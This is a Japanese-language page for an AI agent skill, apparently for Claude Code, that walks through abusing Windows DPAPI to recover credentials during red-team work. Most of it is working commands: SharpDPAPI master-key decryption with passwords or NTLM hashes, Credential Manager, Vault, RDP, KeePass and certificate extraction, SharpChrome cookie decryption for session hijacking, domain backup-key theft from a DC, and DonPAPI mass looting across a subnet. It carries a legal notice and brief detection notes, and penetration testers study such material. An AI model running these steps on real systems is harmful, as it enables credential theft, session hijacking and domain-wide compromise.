abusing-dpapi-for-credential-access について
許可されたレッドチーム演習やセキュリティ評価で、Windows DPAPI 保護データを回収する手順をまとめたスキルです。SharpDPAPI や SharpChrome を使い、オンライン・オフライン復号、ホスト調査、ブラウザーデータ、ドメインバックアップキーを扱います。
主な機能
- 01DPAPI 保護データの調査
- 02ユーザー認証情報やバックアップキーによるマスターキー復号
- 03資格情報マネージャーと Vault の秘密情報回収
- 04RDP、証明書、KeePass の秘密情報抽出
- 05Chrome と Edge のログイン情報および Cookie の復号
活用シーン
- 01許可された Windows ホストの資格情報露出評価
- 02ユーザーパスワードや NTLM ハッシュによる調査ファイルの復号
- 03紫チーム演習での検知能力の検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill abusing-dpapi-for-credential-accessインストール後、Claude Code で/abusing-dpapi-for-credential-accessを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py詳細
DPAPI を悪用した認証情報へのアクセス
法的通知: このスキルは、許可を得たペネトレーションテスト、レッドチーム演習、および教育目的に限り使用してください。自分が所有していないシステムや、テストするための明示的な書面による許可を得ていないシステムから認証情報を抽出することは違法であり、コンピューター詐欺および不正使用に関する法律に違反する可能性があります。署名済みのルール・オブ・エンゲージメントに従って作業し、すべての操作を記録してください。
概要
Windows Data Protection API(DPAPI)は、アプリケーションが保存データ内のシークレットを保護するために使用する、オペレーティングシステム組み込みの対称暗号化サービスです。保護対象には、保存された RDP および Windows Credential Manager の認証情報、Credential Vault 内の Web および Wi-Fi の認証情報、ブラウザーに保存されたログイン情報と Cookie(Chrome/Edge)、KeePass キー、証明書の秘密鍵、スケジュールされたタスクのパスワードなどがあります。DPAPI はユーザーのパスワード(またはマシンアカウントのシークレット)からユーザー単位(またはマシン単位)のマスターキーを導出し、そのマスターキーで個々の「DPAPI BLOB」を暗号化します。暗号化されたマスターキーは %APPDATA%\Microsoft\Protect\<SID>\(ユーザー)および %WINDIR%\System32\Microsoft\Protect\(マシン)に保存されます。
レッドチーム担当者は、足掛かりを得た後に平文のシークレットを復元するため、DPAPI を悪用します。これは MITRE ATT&CK **T1555.004(パスワードストアからの認証情報:Windows Credential Manager)**に対応します。主な復号方法は 3 つあります。
- オンライン/コンテキストベース — 対象ユーザーとして実行すると、DPAPI API(
CryptUnprotectData)がユーザーの BLOB を透過的に復号します。SharpDPAPI では/unprotectフラグを使用します。 - ユーザーのパスワードまたは NTLM ハッシュを使用したオフライン復号 —
/password:または/ntlm:を使ってユーザーのマスターキーを復号し、その後 BLOB をオフラインで復号します(ホストからトリアージして取得したファイルに最適です)。 - DPAPI バックアップキーを使用したドメイン全体の復号 — ドメイン管理者は一度だけドメインの RSA DPAPI バックアップキー(
.pvk)を抽出し、/pvk:を使って、オンラインまたはオフラインで、あらゆるドメインユーザーのマスターキーをいつでも復号できます。
標準的なツールは、Windows 用の SharpDPAPI(GhostPack による、Mimikatz の DPAPI 機能を C# に移植したもの)、ブラウザーのシークレット用の SharpChrome、およびオリジナル実装である Mimikatz(dpapi::*)です。Linux では、Impacket の dpapi.py と donpapi を使ってリモート/オフラインでトリアージできます。
使用する場面
- ユーザーが横展開に利用できる RDP、ブラウザー、または Vault の認証情報を保存している Windows ホストを侵害した後。
- ユーザーのパスワードまたは NTLM ハッシュを保持しており、そのユーザーの DPAPI で保護されたシークレットをオフラインで復号したい場合。
- ドメイン管理者権限があり、ドメインの DPAPI バックアップキーを取得して、環境内のあらゆるユーザーの保護データを復号したい場合。
- ディスクイメージから流出した
Credentials、Vault、またはProtectディレクトリをトリアージする場合。 - DPAPI マスターキーへのアクセスや、LSASS/Protect フォルダーの読み取りの検出を検証する、パープルチーム演習中。
前提条件
- 対象の Windows ホストへの、許可を得た足掛かり(対話型セッション、ビーコン、またはリモート管理アクセス)。
- 対象ユーザーの SID と、次のいずれか(ユーザーのセッション、パスワード、NTLM ハッシュ、またはバックアップキー取得のためのドメイン管理者権限)。
- ツール(ソースからコンパイルするか、リリースバイナリを使用してください。公式の上流プロジェクトからのみ入手してください):
# SharpDPAPI / SharpChrome (GhostPack) — build with Visual Studio / msbuild
git clone https://github.com/GhostPack/SharpDPAPI.git
# Open SharpDPAPI.sln and build Release, or:
msbuild SharpDPAPI.sln /p:Configuration=Release
# Mimikatz (original DPAPI implementation)
# https://github.com/gentilkiwi/mimikatz/releases
# Linux remote/offline triage (Impacket)
pipx install impacket # provides dpapi.py / impacket-dpapi
pipx install donpapi # https://github.com/login-securite/DonPAPI
目的
- DPAPI で保護された認証情報、Vault、RDP、証明書の BLOB をホスト上でトリアージする。
- ユーザーのマスターキーをオンライン(
/unprotect)、パスワード/ハッシュ、またはドメインのバックアップキーで復号する。 - Credential Manager と Vault のシークレットを平文で復元する。
- SharpChrome でブラウザーに保存されたログイン情報と Cookie を抽出する。
- ドメインの DPAPI バックアップキーを取得して再利用し、環境全体のデータを復号する。
MITRE ATT&CK マッピング
| 手法 ID | 名前 | 戦術 | 関連性 |
|---|---|---|---|
| T1555.004 | パスワードストアからの認証情報:Windows 資格情報マネージャー | 認証情報へのアクセス | DPAPI は資格情報マネージャー/Vault のエントリを保護します。マスターキーとブロブを復号すると、保存された認証情報を復元できます。 |
| T1555.003 | パスワードストアからの認証情報:Web ブラウザーの認証情報 | 認証情報へのアクセス | SharpChrome は、DPAPI で保護された Chrome/Edge のログイン情報、Cookie、状態キーを復号します。 |
| T1003 | OS 認証情報のダンプ | 認証情報へのアクセス | マスターキー/バックアップキーの抽出は、認証情報データのダンプにあたります。 |
ワークフロー
1. DPAPI ブロブをホスト上でトリアージする
ユーザーのコンテキストで SharpDPAPI の triage コマンドを実行し、認証情報、Vault、RDG/RDP、証明書を自動的に列挙し、可能な場合は復号します:
# Online triage in the current user's context (uses CryptUnprotectData)
SharpDPAPI.exe triage /unprotect
# Machine triage (requires local admin / SYSTEM) for machine-scoped blobs
SharpDPAPI.exe machinetriage
2. ユーザーのマスターキーをオフラインで復号する(パスワードまたは NTLM ハッシュ)
ユーザーのパスワードまたはハッシュを持っている場合は、マスターキーを復号して {GUID}:SHA1 のマッピングを取得します。このマッピングは個々のブロブに対して再利用できます:
# Decrypt all of the current/specified user's master keys with the password
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple
# Decrypt master keys with the user's NTLM hash instead of the password
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a
# Output is GUID:SHA1 lines — feed them to credentials/vaults commands
3. 資格情報マネージャーと Vault のシークレットを復元する
復号したマスターキーのマッピング(または /pvk:)を使って、保存された認証情報と Vault のエントリを復号します:
# Decrypt Credential Manager blobs with a GUID:SHA1 mapping
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1
# Or point at a target Credentials folder and decrypt with the domain backup key
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk
# Decrypt Credential Vault entries
SharpDPAPI.exe vaults /pvk:backupkey.pvk
4. RDP、KeePass、証明書のシークレットを復号する
# Saved RDCMan.settings RDP passwords (current user context)
SharpDPAPI.exe rdg /unprotect
# KeePass DPAPI-protected master keys
SharpDPAPI.exe keepass /unprotect
# Certificate private keys (export usable .pem with /showall for all stores)
SharpDPAPI.exe certificates /unprotect /showall
5. SharpChrome でブラウザーの認証情報を抽出する
SharpChrome は Chrome/Edge のログイン情報と Cookie を復号します。最新の Chromium では、App-Bound の「状態キー」が使用されます。SharpChrome は DPAPI を使ってこのキーを解決します:
# Decrypt saved logins for the current user
SharpChrome.exe logins /unprotect
# Decrypt cookies (useful for session hijacking) in a target folder
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk
# Resolve the AES state key explicitly
SharpChrome.exe statekeys /unprotect
6. ドメイン DPAPI バックアップキーを取得する(ドメイン管理者)
ドメイン管理者権限があれば、ドメインの RSA DPAPI バックアップ秘密鍵を一度取得します。このキーを使うと、すべてのドメインユーザーのマスターキーを無期限に復号できます:
# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk
次に、このキーを使って任意のユーザーのマスターキーをオフラインで復号します:
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\
7. リモート/Linux ベースのトリアージ(Impacket/DonPAPI)
Linux のオペレーターマシンから、ホスト間で DPAPI シークレットを収集して復号します:
# Decrypt a single masterkey file with Impacket using the domain backup key
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk
# Decrypt a credential blob with the recovered masterkey
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>
# Mass remote DPAPI looting across hosts with DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24
ツールとリソース
| ツール | 目的 | リンク |
|---|---|---|
| SharpDPAPI | Windows DPAPI のトリアージ/復号(C#) | https://github.com/GhostPack/SharpDPAPI |
| SharpChrome | Chromium のログイン情報/Cookie/状態キーの復号 | https://github.com/GhostPack/SharpDPAPI |
| Mimikatz | DPAPI のオリジナル実装(dpapi::*) | https://github.com/gentilkiwi/mimikatz |
| Impacket dpapi.py | リモート/オフラインでの DPAPI 復号(Python) | https://github.com/fortra/impacket |
| DonPAPI | 大規模なリモート DPAPI 情報収集 | https://github.com/login-securite/DonPAPI |
| HackTricks DPAPI | 手法のリファレンス | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |
検知と OPSEC に関する注意事項
- マスターキーへのアクセスや
\Microsoft\Protect\および\Microsoft\Credentials\の読み取りは検知可能です。backupkeyは DC に対する MS-BKRP RPC 呼び出しを発生させます。 /unprotect(オンライン)経由の方法は、単一ホストで最も目立ちにくい選択肢ですが、ログイン中のユーザーとしてのみ動作します。- 防御側は、LSASS に対する Sysmon のプロセスアクセスと、Protect/Credentials フォルダーへの異常なアクセスを監視する必要があります(DE.CM-01)。
検証基準
-
SharpDPAPI triage/machinetriageでホストをトリアージ済み。 -
/unprotect、/password:、/ntlm:、または/pvk:でユーザーのマスターキーを復号済み。 - 資格情報マネージャーと Vault のシークレットを復元済み。
- RDP/KeePass/証明書のシークレットが存在する場合に抽出済み。
- SharpChrome でブラウザーのログイン情報/Cookie を復号済み。
- 対象範囲内の場合、ドメイン管理者権限でドメイン DPAPI バックアップキーを取得し、オフラインで再利用済み。
- 復元したすべてのシークレットについて、取得元のホスト/ユーザーを記録し、ROE の遵守を確認済み。